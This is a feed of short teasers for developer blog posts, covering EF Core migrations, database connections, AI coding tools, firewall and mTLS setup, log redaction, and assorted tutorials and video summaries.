    If you work with Entity Framework Core long enough, you’ll eventually hit the “migrations wall”: “The contextual keyword 'var'…“? No. “Cannot drop database because it is currently in use”? Sometimes. But more often it’s one of these three classics: “Your startup project doesn’t reference Microsoft.EntityFrameworkCore.Design” “The Entity Framework tools version 9.0.5 is older than runtime 10.0.0” “Your target project TechNotes doesn’t match your migrations assembly TechNotes.Infrastructure” The good news: these errors are 100% normal in real-world, multi-project solutions—and they’re also 100% fixable once you understand what EF Core is trying to tell you. This post is a copy‑paste‑ready troubleshooting guide you can keep open in your terminal while you work. Design‑Time Package Missin…  ( 11 min )
    Connecting PostgreSQL to Power BI
    Introduction Power BI is one of the most popular business intelligence tools for data visualization and analytics. Combined with PostgreSQL, a powerful open-source relational database, you can create dashboards and reports. This guide will walk you through connecting PostgreSQL to Power BI using two approaches: a local PostgreSQL installation and Aiven's cloud hosted PostgreSQL service. Download PostgreSQL from the official PostgreSQL website and follow the installation process. Download Power Bi from the Microsoft store. During installation, note that your user password and port number. If yours is local then the default port number is 5432. Ensure your database contains the data you want to visualize. Make sure your PostgreSQL server is active. Host: localhost Port: 5432 Default d…  ( 8 min )
    Controlling Blender with Gemini 3
    Controlling Blender with Gemini 3 Gemini 3 was recently announced. According to the benchmarks, it belongs to the top tier in coding capabilities. I tried using it with the Blender API, and it felt not just competitive, but potentially better than other models. Here is a quick introduction. It generates objects like these from simple prompts: It can even generate rigs and animations. Since it seemed quite powerful, I built a Streamlit app to interactively input prompts. https://github.com/unclepomedev/BlenderGeminiAgent There are no specific benchmarks for Blender coding, so this is just my personal impression, but Gemini 3 feels superior to other models for this task. If this intuition is correct, I wonder if it is due to the influence of YouTube training data or its multimodal capabilities.  ( 6 min )
    SFTP, FTPS, or Something Better? Choosing the Right File Transfer Approach for 2026
    Despite the explosion of APIs and cloud-native integrations, file-based data exchange hasn’t gone away. Enterprises still rely on batch processing, nightly ETL jobs, data exports, and vendor file drops to move critical data between systems. APIs are great, but they don’t solve everything. Compliance rules, legacy vendor systems, and auditors still demand secure file-based transfers. That leaves developers maintaining fragile SFTP servers, managing SSH keys, user permissions, and backups just to keep “simple” nightly jobs running. This post gives a ground-level look at FTP and SFTP, explains where they fit in modern systems, and shows how SFTP To Go can simplify secure file transfers without requiring you to manage servers yourself. The Protocols: FTP, SFTP, and Where They Fit in Modern Sys…  ( 11 min )
    Machine Learning Syllabus for MAKAUT
    Unit 1: Supervised Learning Regression Classification Basic methods: Distance-based methods, Nearest-Neighbours, Decision Trees, Naive Bayes Linear models: Linear Regression, Logistic Regression, Generalized Linear Models Support Vector Machines (SVM) Nonlinearity and Kernel Methods Beyond Binary Classification: Multi-class, Structured Outputs, Ranking Unit 2: Unsupervised Learning Clustering: K-means, Kernel K-means Dimensionality Reduction: PCA (Principal Component Analysis), Kernel PCA Matrix Factorization and Matrix Completion Generative Models: Mixture models and Latent Factor Models Unit 3: Evaluating ML Algorithms & Model Selection Evaluation of Machine Learning Algorithms Model Selection Introduction to Statistical Learning Theory Ensemble Methods: Boosting, Bagging, Random Forests Unit 4: Advanced Modeling Sparse Modeling and Estimation Modeling Sequence/Time-Series Data Deep Learning and Feature Representation Learning Unit 5: Scalable and Advanced ML Topics Scalable Machine Learning Online Learning Distributed Learning Advanced Topics (selection among): Semi-supervised Learning Active Learning Reinforcement Learning Inference in Graphical Models Introduction to Bayesian Learning and Inference Unit 6: Recent Trends Recent trends in machine learning learning techniques Recent trends in classification methods  ( 6 min )
    My Beginner-Friendly Debugging Checklist for Any Node.js API Issue
    Debugging backend issues used to feel chaotic when I first started working with Node.js and Express. Errors seemed random, console logs looked useless, and I often had no idea whether the problem was in the route, middleware, controller, or database. Over time, I built a simple debugging checklist that works consistently. This guide is meant for beginners but follows a clean, professional approach you can rely on even as you grow. Most bugs come from the client, not the server. Before touching your backend code, check: Is the body structured the way your API expects? Are you sending JSON while forgetting express.json()? Missing headers or wrong token format? Incorrect URL or query parameters? Use tools like: Postman / Thunder Client to test raw requests Browser Network tab to inspect ac…  ( 8 min )
    Using GitHub Copilot for Terraform code refactoring
    Terraform and OpenTofu are the only major IaC tools today that provide a fully deterministic, declarative, provider-agnostic, predictable execution plan across AWS + Azure + other cloud platforms. However, the Terraform development experience is still close to what we had for JavaScript in 2008: we have syntax highlighting, basic static analysis, and basic code navigation. But the Terraform code refactoring still should be done manually. We still have no button "extract resources to the module" in JetBrains IDE or VS Code. Mainly because in the Terraform world, code refactoring should go together with state transformation. By the end of 2024 in my team had written a lot of Terraform code. We have learned how to master infrastructure as code using Terraform, our expertise has grown up and t…  ( 7 min )
    Predictive and secure look-ahead log interception using Aho-Corasick & log tokenization (Java & Spring)
    The Purpose: Credit card information SSNs/TaxIDs Email addresses Access Tokens/API Keys Customer IDs Session identifiers If these logs reach Splunk, ELK, CloudWatch, S3, or shared storage without redaction, companies can violate PCI DSS, GDPR, HIPAA, SOX, CCPA, and internal info-sec policies. Goal: This Gives: 🔒 Security (no raw PII/PCI stored in logs) Why Aho–Corasick for Log Interception? Regex is powerful but slow — especially when scanning logs with 50+ sensitive patterns. Aho–Corasick builds a finite automaton (trie + failure links) that searches all patterns simultaneously. Benefits: If your application handles millions of log lines an hour, Aho–Corasick might be helping hand here, consuming fewer resources. Architecture Implementation Adding the dependencies: <gro…  ( 8 min )
    Announcing udwall: A New Tool for Making UFW and Docker Play Nice With Each Other
    Many of us believe that the combination of UFW and Docker is the standard stack for deploying applications securely without exposing docker container ports. Configuring UFW via provisioning tools like Ansible is usually seamless, giving us confidence that our servers are secure. However, there is a massive, often overlooked security gap in this setup that meanse using UFW with Docker can be dangerous. Basically, even though your UFW status says "Active" and is set to block all incoming traffic, Docker container ports often remain wide open to the public internet. At Hexmos, we are dedicated to enhancing the developer experience, having built tools like Livereview and FreeDevtools. We investigated this critical security flaw and built udwall to finally make UFW and Docker compatible by def…  ( 10 min )
    Understanding the C Compilation Process
    This article grew out of my journey to revisit C from a systems perspective. Most of my career has been in Notes/Domino, Java, and Drupal, and although I learned C during my university years, I never used it extensively in practice. Lately, my curiosity has pushed me to return to the fundamentals and understand what really happens beneath the surface. This article is for anyone who shares that same curiosity—those who want to peek under the hood and see what truly happens when we hit compile. This article is the first entry in a learning packet I’m putting together called What Happens to Your C Program When It’s Compiled. We begin with the preprocessing stage—the starting point of the compilation process. Hosted on GitHub: Understanding the C Compilation Process — Part I: Preprocessing  ( 6 min )
    I Built a Free AI Mastery Roadmap (And Why It's Not Another $500 Course)
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    OLIVE OIL: THE METABOLIC MEDICINE MOST PEOPLE ARE USING WRONG By Edward Obuz
    If you are using olive oil only for frying or a bit of salad dressing, you might be leaving most of its metabolic benefits on the table. Used correctly, high quality extra virgin olive oil can improve fat burning, stabilize blood sugar, reduce inflammation, and support calmer cortisol patterns. The key is quality and timing, not hype or miracle claims. In this article I will walk through what the research actually shows, how I use olive oil in my own routine, and a simple seven day protocol you can experiment with safely. This is educational, not medical advice. If you have a medical condition or take medication, talk to your healthcare provider before making changes. The Fat Burning Science Behind Extra Virgin Olive Oil Several mechanisms make olive oil metabolically interesting: PPAR alp…  ( 13 min )
    AI for Bharat: Tired of Just Reading About AI? It’s Time to Start Building
    Artificial Intelligence is reshaping industries, accelerating careers, and creating new opportunities every single day. Yet most developers in India are stuck in the same cycle: 👉 Watching tutorials …but not building anything real. AI for Bharat is here to break that cycle. This is your chance to join a nationwide movement designed for one purpose: Turn AI theory into real-world building. ⭐ Program Highlights at a Glance Before we dive deeper, here’s everything you need to know right away: 👥 Team Size: 1–5 Members Work solo or collaborate with a small, powerful team. 🎓 Age Requirement: 18+ Anyone above 18 can participate—students, professionals, beginners, all are welcome. 🇮🇳 India Only A movement built for Indian developers, shaping India’s AI future. 🌐 Fully …  ( 7 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
    Kirby Air Riders’ “Starlit Journey” Breakdown 8bitMusicTheory dives into the exuberant main theme of Kirby Air Riders, “Starlit Journey,” explaining how each section—intro, verse, chorus, bridge and final choruses—combines playful melodies and bright harmonies to create that signature joy. Time‐stamped segments guide you through the song’s structure and highlight the musical tricks that make it so irresistibly fun. Along with the analysis, you’ll find links to support the channel—Patreon, merch, Discord and Twitter—plus a sprinkled dose of #kirby, #nintendo and #gamemusic love for anyone who can’t get enough of 8-bit charm. Watch on YouTube  ( 6 min )
    Building Domain-Specific AI Agents Through Configuration, Not Code
    Building Domain-Specific AI Agents Through Configuration, Not Code I built a framework where you can create specialized AI agents (like a Compliance Reviewer or Travel Planner) by writing a YAML file instead of coding. Same core, infinite possibilities. Built entirely with Kiro IDE's powerful features. Want to build a compliance reviewer AI? Write hundreds of lines of code. Need a travel planning assistant? Write hundreds more lines. Want to add a customer support bot? You guessed it - more code, more complexity, more maintenance. What if you could create a new AI agent just by writing a configuration file? That's exactly what I set out to build during the Kiroween Hackathon 2025. Agent Skeleton is a configuration-driven framework for building domain-specific AI agents. The same core fra…  ( 12 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz in 15 Minutes (Or Less) CinemaSins is back on the yellow brick road now that Wicked is back in theaters—this time digging into the 1978 classic The Wiz to see if it’s better (or worse) than you remember, all in their trademark snarky “Everything Wrong With” style. For more sinfully fun content, hit up their website or Linktree for channels like TV Sins and Commercial Sins, fill out their poll, or support them on Patreon. You can also follow the team—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—on Twitter or Instagram, and join the party on Discord, Reddit, TikTok and more. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins dives into the neon-soaked world of KPop Demon Hunters, rattling off every quibble, plot hole and eyebrow-raising moment in under 16 minutes—complete with their trademark snark and “sins” tally. Along the way they plug their main site and socials (YouTube channels, Discord, Reddit, TikTok, Instagram), invite you to fill out a quick poll, and encourage adoring fans to fuel the sin machine on Patreon. Watch on YouTube  ( 6 min )
    Building a Location Picker in React Native Maps (with Draggable Marker & Address Lookup)
    Introduction In my previous post, I covered how to integrate Google Maps and display the user’s live location. Now let’s take it one step further — by creating a location picker where users can drag a marker or move the map to select an address. This feature is perfect for checkout pages, delivery address setup, or event creation screens. We’ll continue using: npx expo install react-native-maps expo-location Optional (for reverse geocoding): npx expo install expo-location import React, { useState, useEffect } from 'react'; import { View, Text, StyleSheet } from 'react-native'; import MapView, { Marker } from 'react-native-maps'; import * as Location from 'expo-location'; export default function LocationPicker() { const [region, setRegion] = useState(null); const [address, setAddre…  ( 8 min )
    Spring Security Flow
    When a user submits login details, Spring Security’s authentication filter intercepts the request and converts it into an Authentication object. This object is then passed to the AuthenticationManager. The AuthenticationManager decides which authentication method to use (e.g., database authentication, OAuth, LDAP, or custom logic). It forwards the request to the appropriate AuthenticationProvider. The AuthenticationProvider contains the logic for validating the user. It uses the UserDetailsService to load user information and the PasswordEncoder to verify the password. If authentication succeeds, it returns a fully authenticated Authentication object. The authentication filter receives the result. If the credentials are valid, Spring Security stores the authentication object in the SecurityContext, which is maintained in the SecurityContextHolder. For every subsequent request, Spring Security checks this context (session or JWT token) to determine whether the user is already authenticated. If the token or session is valid, the request proceeds; otherwise, the user is denied access.  ( 6 min )
    Do companies share API docs with third-party integration providers?
    Do companies usually provide their API documentation (Swagger/OpenAPI, etc.) to third-party companies, like integration providers or tools that plug into their system? If so, is it usually complete, or are parts commonly restricted?  ( 6 min )
    Launching EC2 with Git Bash: Why SSH Is Preferable to PuTTY.
    SSH let me copy my .pem key and connect instantly, while PuTTY forced me to convert to .ppk every time SSH saved time, reduced friction, and scaled securely. This project matters because it teaches secure, real‑world cloud skills: launching EC2, using SSH with .pem keys, avoiding PuTTY conversions, and hosting a webpage. It builds automation habits, scales easily, and mirrors workflows businesses rely on daily. Step by Step on how to SSH into Ubuntu EC2 from Gitbash. Launch an EC2 Instance Log in to the AWS Management Console. Search for EC2 and open the EC2 dashboard. Click Launch Instance. Fill in the details: Name: e.g., elmaurserver. AMI (Amazon Machine Image): Choose Ubuntu Server 22.04 LTS (or Amazon Linux if you prefer). I choose Ubuntu. Instance type: Start with t2.micro (free ti…  ( 7 min )
    How to Build Your Own Claude Chat App on AWS Bedrock with AWS CDK (Beginner-Friendly Step-by-Step Guide)
    🔗 Original article in Spanish: https://dev.to/chainiz/crea-tu-propio-chat-con-claude-en-aws-bedrock-usando-aws-cdk-guia-paso-a-paso-para-principiantes-20ag Learn how to build and deploy a serverless AI chat application powered by Claude 3.5 Sonnet (Anthropic) on AWS Bedrock, using AWS CDK (Python) — from scratch. Perfect for beginners exploring AWS, Infrastructure as Code, and generative AI development in the AWS ecosystem. In this hands-on project you will deploy: A Lambda function that invokes Claude 3.5 on AWS Bedrock A REST API built with API Gateway (/chat) A static web chat interface hosted on S3 Fully automated provisioning using AWS CDK (Python) This tutorial gives you a complete end-to-end AI application running in minutes. Make sure you have: AWS account with Bedrock model acces…  ( 8 min )
    Resolvendo o desafio 509. Fibonacci Number
    Link A lógica do fibonacci é bem simples. O número atual é resultado da soma do número anterior mais o seu anterior (n-1)+(n-2). Considerando apenas o conjunto dos números naturais, adicionamos uma regra para os números 0 e 1, cujo os seus correspondentes são eles mesmos f(0) = 0 e f(1)=1 e assim temos a sequência 0 1 1 2 3 5 ... podemos começar com então com a que representa a função matemática de Fibonacci f(n) = f(n-1) = f(n-2), a solução recursiva. Na solução recursiva vamos colocar: Nosso caso base n = 0 e n = 1 E a expressão matemática f(n) = f(n-1) = f(n-2) É uma solução simples e compreensiva, porém acredite não é a das melhores. Vamos pensar em fib(6), e realizar um teste de mesa (não vou trocar fib(1) e fib(0) por 1 e 0 no nosso teste de mesa porque não precisamos no…  ( 9 min )
    Linux Kernel: Interrupt Handling (Part 2)
    Table of Contents Introduction Exception Levels: Privilege Hierarchy The Dual Stack Mechanism at EL1 Typical Execution Contexts Exception Link Register (ELR_EL1) Saved Program Status Register (SPSR_EL1) Exception Syndrome Register (ESR_EL1) Vector Base Address Register (VBAR_EL1) Current Exception Level Register (CurrentEL) GIC Components Interrupt Types and Triggering GIC to CPU Signaling Interrupt Masking Hardware-Automated Exception Entry Vector Offset Calculation This article breaks down the IRQ journey path for modern Linux on ARMv8-A, following a single interrupt through hardware exception entry, kernel assembly paths, IRQ and softirq subsystems, and finally back to user or kernel context. ARMv8-A organizes execution into four Exception Levels (EL0-EL3), with higher numbers indica…  ( 11 min )
    Revolutionising Content Management: An Introduction to AEM Business Agents
    While exploring Adobe Experience Manager's latest AI capabilities, I came across Business Agents in AEM as a Cloud Service. Here's what I learned about this interesting development in enterprise content management. Business Agents are essentially AI-powered assistants that live inside AEM as a Cloud Service. The interesting part is how Adobe has broken down different content management challenges into specialized agents rather than creating one general-purpose AI tool. What caught my attention is that these aren't just experimental features—they're production-ready tools designed to handle real enterprise workflows. Though it's worth noting they're only available for AEM as a Cloud Service and Edge Delivery Services, not the older versions. This one tackles something I've seen teams strugg…  ( 9 min )
    From Intern to Employee: How a Digital CV Gets You Noticed
    I’ll be honest—getting noticed in today’s talent jungle feels harder than ever. You can have all the skills, certifications, weekend projects, and still end up buried in a recruiter’s inbox. I’ve been there. It’s frustrating, almost insulting sometimes. But here’s the twist: A digital CV can change your entire story. living, scrollable, clickable profile that shows who you are—not just what you’ve done. I didn’t really believe in digital CVs until a close friend proved me wrong without even trying. The Internship Story That Changed My Mind A few years ago, a friend of mine—let’s call her Riya—was applying for a marketing internship. She had no connections, no fancy degree, nothing “wow.” But she built a simple digital CV using an online portfolio builder (yep, those things do more than l…  ( 9 min )
    TypedSql: Turning the C# Type System into a Query Engine
    0. Introduction TypedSql started from a very practical annoyance. Most of the time when I write “queries” in .NET, my data is already in memory. I have an array or a List. I just want to filter and project it. Sure, I can: write a foreach loop — fast, explicit, but a little noisy use LINQ — nice to read, but with iterator/delegate overhead or, in extreme cases, push everything into a database and write real SQL TypedSql explores a different route: What if we treated the C# type system itself as the query plan? Instead of: building an expression tree at runtime, and interpreting it over the data, we compile a SQL‑like string into a closed generic type that describes the whole pipeline, and then run that pipeline entirely through static methods. This post is a deep dive into how that w…  ( 21 min )
    Vinyl Tracker Project Overview
    by: Bernard Borg, Submitted in partial fulfillment to Codecademy Computer Science Track - Portfolio Project: Python Terminal Utility Vinyl Tracker GitHub Repository This is a Vinyl Record Library - a Python terminal application for managing personal vinyl collections. Key Features: User authentication with login system ├── VINYL_TRACKER | ├── main.py - Entry point, login + main loop | ├── auth.py - Authentication & User Manaegement (User class user creation from csv) | ├── models.py - Data classes: User, Vinyl | ├── collection.py - CRUD operations on vinyl records | ├── search.py - All search-related logic | ├── sort_records.py - Sorting functions | ├── storage_json.py - JSON save/load | ├── storage_csv.py - CSV import/export | ├── utils.py - Helpers: clear screen, input validation, etc. | ├── user_manager.py - User creation, authentication, and management | ├── csv_handler.py - CSV import/export helpers ! Flow Diagram User Class Vinyl Class The project follows a modular structure with separate modules for different concerns: main.py - Entry point, login + main loop All data is stored in lowercase for consistency and displayed in title case to users. The application provides both single-record detailed views and multi-record summary lists for efficient browsing. Data is persisted in JSON files, one per user. CSV import/export is also supported for sharing and backups. Login Flow: Main → Login → Authenticate → Find User → Load from JSON The storage_json.py layer handles conversion between dictionaries and Vinyl objects Validation is implemented for all user inputs to ensure data integrity and quality. All validation functions follow the same pattern: NOTICE: THIS PROJECT IS NOT COMPLETE. IT IS A WORK IN PROGRESS. AUTHENTICATION IS NOT IMPLEMENTED, AS PASSWORDS ARE JUST BEING STORED IN PLAIN TEXT. THIS IS A SECURITY RISK.  ( 7 min )
    The AI-Powered Second Brain: How to Use ChatGPT and Notion to Never Forget Anything Again
    The AI-Powered Second Brain: How Veltrex Labs Uses ChatGPT and Notion to Unlock Peak Productivity In today's hyper-competitive landscape, the most valuable currency is not time, but attention. Every day, executives and their teams are bombarded with an endless stream of information: market reports, internal communications, competitor analysis, and fleeting moments of inspiration. The critical insights that drive innovation are often lost in this digital noise, buried in forgotten documents or scattered across a dozen different apps. At Veltrex Labs, we see this not as an individual failing, but as a systemic challenge—one that requires an engineered solution. The concept of a "Second Brain" has emerged as a powerful methodology for taming this chaos. It’s a centralized digital system for…  ( 11 min )
    The 'Slow Productivity' Revolution: Why Doing Less is the Key to Achieving More in the Age of AI
    The 'Slow Productivity' Revolution: Why Doing Less is the Key to Achieving More in the Age of AI The promise of Artificial Intelligence was a future of unparalleled efficiency—a world where technology would handle the mundane, freeing humanity for strategic, creative, and high-impact work. Yet, for many organizations, the reality has been the opposite. Instead of liberation, AI has often ushered in an era of hyper-acceleration, a relentless demand for more output, faster decisions, and an "always-on" culture that is leading directly to a new, insidious form of exhaustion: AI burnout. At Veltrex Labs, we stand at the intersection of technological innovation and human potential. We’ve guided countless industry leaders through digital transformation, and we’ve seen this paradox firsthand. T…  ( 11 min )
    Cloud FinOps in Action: How I Saved Thousands by Optimizing AWS Architectures
    Managing cloud spending is one of the biggest challenges for modern enterprises. As applications scale, costs silently grow through unused resources, over-provisioned workloads, and inefficient storage patterns. AWS provides numerous tools and best practices to control and optimize spend—yet most organizations use only a small fraction of them. In this blog, I’m sharing the most effective AWS cost optimization techniques that I have personally implemented across real-world environments. These strategies are simple, practical, and deliver immediate results without compromising performance. 🚀 1. Migrate to Graviton Instances AWS Graviton2 and Graviton3 processors offer 20–40% better price-performance compared to traditional x86 instances. They are energy-efficient and ideal for application …  ( 8 min )
    Content Security Policy (CSP)
    ## Definindo Políticas de Conteúdo e Combatendo XSS em Aplicações Node.js A segurança de aplicações web é uma preocupação constante, e a proteção contra ataques Cross-Site Scripting (XSS) é fundamental. Uma abordagem eficaz para mitigar esses riscos é a combinação de políticas de conteúdo bem definidas e implementações robustas no servidor. As Políticas de Conteúdo (CSP) são uma camada adicional de segurança que os desenvolvedores podem adicionar às suas aplicações web. Elas fornecem controle granular sobre quais recursos (scripts, estilos, imagens, etc.) o navegador está autorizado a carregar. Isso ajuda a prevenir ataques XSS, impedindo a execução de scripts maliciosos injetados. Como Funcionam as Políticas de Conteúdo: As CSPs são definidas através de cabeçalhos HTTP (Content-Security-P…  ( 8 min )
    Run TypeScript Files in 30 Seconds
    If you have a TypeScript script (.ts file) and want to run it quickly without setting up a full build pipeline or compiling anything manually, this guide shows you how to run it in 30 seconds. Environment: I'm using WSL (Ubuntu) on Windows, but this works the same on Linux and macOS. I also assume you already have Node.js installed. mkdir my-typescript-project cd my-typescript-project npm init -y npm install --save-dev tsx tsx runs TypeScript files directly without compiling to JavaScript. npx tsx your-file.ts That's it. Let's look at a practical example. Suppose you have a JSON file exported from a Discord chat and want to convert it to Markdown. data.json: [ { "thread_id": 1, "thread_name": "Example Thread", "message_count": 2, "messages": [ { "message_…  ( 7 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
    Kirby Air Riders’ “Starlit Journey” Breakdown 8bitMusicTheory dives into Kirby Air Riders’ main theme, “Starlit Journey,” and shows why it’s pure joy from start to finish. You’ll get a timestamped tour through the upbeat intro, catchy verse, soaring chorus, playful bridge and triumphant final choruses—plus a heartfelt outro about loving music. Want more deep dives (and cool swag)? Hit up the Patreon, merch store, Discord server or follow on Twitter for all the 8bitMusicTheory goodness. Watch on YouTube  ( 6 min )
    Stop Memory Leaks! The Practical Guide to WeakMap and WeakSet
    Have you ever built a Single Page Application (SPA) that feels snappy at first, but slowly turns sluggish the longer you use it? Or perhaps you’ve tried to attach cached data to a DOM element, only to realize later that you've created a massive memory leak? In the world of JavaScript performance, WeakMap and WeakSet are your secret weapons. They solve specific, complex problems regarding memory management that standard Arrays, Objects, and Maps simply cannot handle. Let's move beyond the theory and look at production scenarios where you should actually use them. To understand why we need WeakMap, we first need to understand how standard collections work. Imagine an object in memory is a balloon. strings holding that balloon down. As long as one string is tied to the balloon, it stays in me…  ( 9 min )
    Fiz merda com o Git… como resolver?
    Se você trabalha com desenvolvimento, cedo ou tarde vai acontecer: alguma cagada no Git. Branch errado. “Meu Deus… e agora?” A boa notícia? o manual de sobrevivência de quem usa Git todos os dias: 👉 Oh Shit, Git! https://ohshitgit.com Por que esse site é tão bom? Porque ele fala exatamente a sua língua nesse momento de desespero. Ele vai direto ao ponto: "Fiz merge errado" → comando correto "Commitei no branch errado" → comando correto "Apaguei o arquivo sem querer" → comando correto "Preciso voltar atrás sem ferrar tudo" → comando correto É como ter alguém experiente te dizendo: Simples. Algumas situações que ele resolve facilmente Commit feito no lugar errado Mudanças importantes desaparecendo Reset ou revert mal feito Stash perdido Merge que virou zona Histórico bagunçado Arquivo sobrescrito sem querer Se você mexe com Git, já passou por pelo menos três desses. Por que todo dev deveria conhecer esse site? Porque erro com Git não é sinal de incompetência. O Oh Shit, Git! ajuda você a: não entrar em pânico entender o que realmente aconteceu recuperar seu trabalho aprender algo novo no processo E, principalmente: não perder horas em algo que pode ser resolvido em minutos. Vale a pena favoritar Se você nunca precisou desse site, é questão de tempo. Então salva aí: https://ohshitgit.com Depois você me agradece pela dica.  ( 7 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    CinemaSins just dropped “Everything Wrong With The Wiz In 15 Minutes Or Less,” poking fun at every misstep, musical hiccup and costume quirk in The Wiz—just in time for Wicked’s big-screen comeback. Expect rapid-fire snark, sin counters and plenty of “how did that even make it into the movie?” moments. They’ve also thrown in all their social links (YouTube channels, Discord, Reddit, Instagram, TikTok), a sinful poll to hear your hot takes, and a Patreon shout-out if you want to keep their tiny team in business. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR CinemaSins just unleashed their signature “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” dishing out cheeky “sins” and playful jabs at the film while dropping links to their main site, YouTube channels (@TVSins, @CommercialSins, @CinemaSinsPodcastNetwork) and a quick poll so fans can chime in. The sinful squad—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—also invite you to join their Discord and Reddit communities, follow on Instagram and TikTok, grab Jeremy’s book, and maybe support the team on Patreon for more behind-the-scenes fun. Watch on YouTube  ( 6 min )
    Dart on Ubuntu: Installation, Setup, and First Steps
    I recommend seeing first – installation of Homebrew and asdf on Ubuntu (it’s short, only 5 commands) Dart - Docs Dart - On DevDocs.io Shelf — Simple for APIs. Dart Frog — A fast, minimalistic backend framework for Dart Angel — Express-style, more complete. Serverpod — Larger, microservices-oriented. Note: Let’s not forget that the most important thing Dart has today is Flutter, although it almost needs its own section. Via APT (official repository) sudo apt update sudo apt install apt-transport-https sudo sh -c 'wget -qO- https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -' sudo sh -c 'wget -qO /etc/apt/sources.list.d/dart_stable.list https://storage.googleapis.com/dart-archive/channels/stable/release/latest/linux_packages/dart_stable.list' sudo apt update sudo apt inst…  ( 8 min )
    Cuidado ao compartilhar seus sonhos, nem todo mundo torce por você.
    Com o tempo, a gente aprende que sonhos e objetivos não devem ser entregues a qualquer pessoa. Alguns vão apoiar. E eu aprendi isso na prática, de uma forma muito clara. Anos atrás, eu estava em um casamento, sentado em uma mesa com quatro pessoas. investimentos para uma empresa, e naturalmente o assunto acabou puxando para a área financeira — algo que eu estudo há anos, seja renda fixa, renda variável, estratégias e tudo que envolve o crescimento do patrimônio. Das outras pessoas na mesa, duas ficaram ouvindo, curiosas. uma delas demonstrou ainda mais interesse, fazendo perguntas, querendo entender como começar a investir, como organizar o dinheiro, como montar carteira… E foi aí que aconteceu a parte mais reveladora. Eu comecei a orientar. Mas essa pessoa simplesmente… não estava nem aí.…  ( 7 min )
    NGINX Technical Practice: Configuration Guide for TCP Layer 4 Port Proxy and mTLS Mutual Encryption Authentication
    This article systematically breaks down the complete implementation of Nginx TCP Layer 4 port proxy and mTLS mutual encryption authentication. It covers core technical principles (TLS/mTLS mechanisms), certificate generation (root CA/server/client workflows), Nginx configuration (Stream module, SSL parameter optimization), and function verification (valid/invalid connection testing) with practical commands. It helps DevOps engineers and developers quickly build secure communication channels, addressing risks like data leakage and unauthorized access in traditional proxy architectures, suitable for encrypted proxy scenarios of TCP services such as Redis and databases. Source of the article:# NGINX Technical Practice: Configuration Guide for TCP Layer 4 Port Proxy and mTLS Mutual Encryption …  ( 13 min )
    🚀 TOON for Laravel — A Complete Tutorial to Make AI Prompts Cheaper & Faster
    🧠 TOON for Laravel — Make LLMs Cheaper, Faster & Friendlier ✨ Compress your prompts, not your ideas! ✨ AI costs money. Every token counts. That’s why I built TOON — a Laravel package that turns heavy JSON into light, readable, reversible notation for LLMs like ChatGPT, Gemini, Claude, and Mistral. This tutorial is human-friendly, full of real examples, and easy to follow. Whether you’re a beginner or production-level developer — you’ll walk away with something useful. 🚀 Sending big chunks of JSON to LLMs = 🧨 higher costs + slower responses. TOON solves this by: 📉 Reducing token usage by 60–75% 🔁 Keeping data reversible (TOON ⇄ JSON) 👀 Staying human-readable ⚡ Fully integrated with Laravel (Facade + Commands) 💡 “AI doesn’t need verbose data — it needs clean, structured context.” …  ( 8 min )
    Don Quixote Of Orchestration: Building For Problems No One Sees Yet
    I think I have a strange "talent" that is both a gift and a curse. I tend to see certain problems very early. I see the cracks long before they become visible to everyone else. With AI this has always been about one thing: the need to orchestrate cognition instead of trying to babysit a single model with clever prompts and brittle guardrails. While most of the field is still obsessed with "the right system prompt" and endless tweaks around one big LLM, I have spent months building something very different: OrKa, a modular cognition layer that makes AI reasoning observable, traceable, and deterministic enough to be trusted. It routes. It scores. It logs every decision. It treats reasoning as a graph, not as a black box. And this is where the frustration starts. A small group of people see i…  ( 13 min )
    Pwnagotchi Generator: Understanding opwngrid Through Reverse Engineering
    Testing distributed systems is hard. But what if the system you need to test has no official documentation? That's where reverse engineering comes in. The Pwnagotchi Generator started as a deep dive into understanding how opwngrid's authentication and reporting protocols work under the hood. The Pwnagotchi ecosystem relies on opwngrid to share captured WiFi handshakes across devices. But to build effective testing tools, I needed to understand: How does authentication actually work? What cryptographic signing scheme is used? How are access points reported and validated? What rate limiting or anti-abuse mechanisms exist? Can the protocol handle extreme edge cases? The only way to answer these questions was to reverse engineer the protocol itself. My first step was examining how real Pwnagot…  ( 10 min )
    Search Online - Arama Motoru
    Merhaba arkadaşlar, ben Koray Korkmaz. Yaklaşık 1 yıl önce yayınladığım ve o günden beri sürekli güncellediğim/ geliştirdiğim arama motoru projemi sizlerle paylaşmak istiyorum: Search Online Tamamen farklı bir yaklaşımla hazırlanmış, alternatif bir arama motoru. 🔗 "https://sites.google.com/view/searchonline-search" Eğer kullanıp beğenirseniz, lütfen arkadaşlarınıza, yakınlarınıza ve sevdiklerinize paylaşarak onların da denemesini sağlayın. Aldığım her geri bildirim sayesinde Search Online’ı daha da iyi hale getirebilirim. Bir yıldır aktif olarak geliştiriyorum ve hâlâ yolun çok başındayız. Sizlerin desteğiyle çok daha geniş kitlelere ulaşıp çok daha güçlü bir arama motoru haline gelebileceğine inanıyorum. Görüş, öneri, eleştiri ya da sorunuz olursa memnuniyetle bekliyorum: technologykeycom@gmail.com Ayrıca geliştirdiğim diğer projelere de göz atmak isterseniz: https://key-com-technology.itch.io" İlginiz ve desteğiniz için şimdiden çok teşekkür ederim. Saygılarımla, İşte arama motorumdan birkaç görsel: Arayüzden Bir Kesit: Tümü Kategorisi İle Arama: Görseller Kategorisi İle Arama: Videolar Kategorisi İle Arama: Haberler Kategorisi İle Arama: Alışveriş Kategorisi İle Arama:  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
